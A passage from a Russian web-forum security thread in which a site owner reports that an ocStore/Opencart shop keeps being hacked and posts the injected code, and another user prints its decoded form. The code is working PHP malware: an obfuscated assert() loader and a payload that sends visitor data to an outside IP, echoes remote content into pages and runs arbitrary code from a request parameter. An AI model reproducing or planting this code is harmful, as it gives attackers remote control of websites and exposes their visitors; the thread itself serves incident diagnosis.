Форум Сайтостроение Безопасность

В мгазин Opencart внедряют вредоносный код

maximka77
На сайте с 15.10.2011
Offline
248
maximka77
3003

Всем доброго времени суток.

Столкнулся со следующей проблемой: ломают один магазинчик на Opencart и меняют следующие файлы:

сайт.ру/index.php

сайт.ру/catalog/controller/common/maintenance.php

сайт.ру/catalog/controller/common/footer.php

сайт.ру/catalog/language/russian/common/footer.php

сайт.ру/admin/controller/common/footer.php

сайт.ру/admin/language/russian/common/footer.php

Добавляют в них этот код: 

//###=i=###

error_reporting(0); 

$strings = "as";$strings .= "sert";

@$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ5xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9hK2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl8kZQxhZwZ2YwtkYwRjZF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvAGxjZJSwZwt4MGDlAGR5AGV0MGt2Z2MzLmtjZ2SuZQDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7L3IloS9mMKEipUDbWTZkYQDlYTMuoUAyXGgwqKWfK3AyqT9jqPtxLmRfZGx5ZGZfqUW1MFx7WTyvqvN9VPOwqKWfK2I4MJZbWTZkXGgwqKWfK2Afo3AyXPEwZFx7sJIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXG09ZFy7WTyvqvN9VTMcoTIsM2I0K2AioaEyoaEmXPWbqUEjBv8iZGN5YwVmAv44ZF4kZQRiM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVwH5ZQSuLmV4BTH0ZwHkBGHlATH4AwAzMzZ4ZQAuLGN0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB30tnJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOcMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwuvMzEwMJZ4VvxtrlONLKAmMKW0XPEsHxIEIHIGISfvLlWqXGftsK0="));'));

//###=i=###

Удалил эту гадость, поменял везде пароли. Через некоторое время все равно внедряют этот код.

Подскажите, пожалуйста, это какая-то уязвимость в движке Opencart или проблема на моей стороне? И как можно защититься от этих взломов?

Буду очень признателен за советы.

Магазин работает на ocStore 1.5.4.1

- Базы чатов и каналов Телеграм ( https://base-top.ru/ ) - Недорогие ссылки с форумов (https://cutt.ly/swQDFZWx)
h3x
На сайте с 12.01.2012
Offline
90
h3x
#1

Ищите шеллы на сайте.

А код занятный 

<?php if (isset($ibv)) {

    echo $ibv;

} else {

    if (!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);

    if (!isset($c_["HTTP_ACCEPT_CHARSET"])) {

        if (preg_match("!.!u", file_get_contents($_SERVER["SCRIPT_FILENAME"]))) {

            $c0 = "UTF-8";

        } else {

            $c0 = "windows-1251";

        }

    } else {

        $c0 = $c_["HTTP_ACCEPT_CHARSET"];

    }

    if (function_exists("curl_init")) {

        $c1 = curl_init("http://109.236.81.101/get.php?d=" . urlencode($_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]) . "&u=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&c=" . $c0 . "&i=1&ip=" . $_SERVER["REMOTE_ADDR"] . "&h=" . md5("5901ac288e42519524e863ffc803aa04" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] . $_SERVER["HTTP_USER_AGENT"] . $c0 . "1"));

        curl_setopt($c1, 42, false);

        curl_setopt($c1, 19913, true);

        $ibv = curl_exec($c1);

        curl_close($c1);

    } elseif (ini_get("allow_url_fopen") == 1) {

        $ibv = file_get_contents("http://109.236.81.101/get.php?d=" . urlencode($_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]) . "&u=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&c=" . $c0 . "&i=1&ip=" . $_SERVER["REMOTE_ADDR"] . "&h=" . md5("5901ac288e42519524e863ffc803aa04" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"] . $_SERVER["HTTP_USER_AGENT"] . $c0 . "1"));

    }

    if (isset($ibv)) {

        echo $ibv;

    }

    if (isset($_REQUEST["p"]) && $_REQUEST["p"] == "8bfdcec8") {

        @assert($_REQUEST["c"]);

    }

}
maximka77
На сайте с 15.10.2011
Offline
248
maximka77
#2

h3x, а что делает этот код?

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий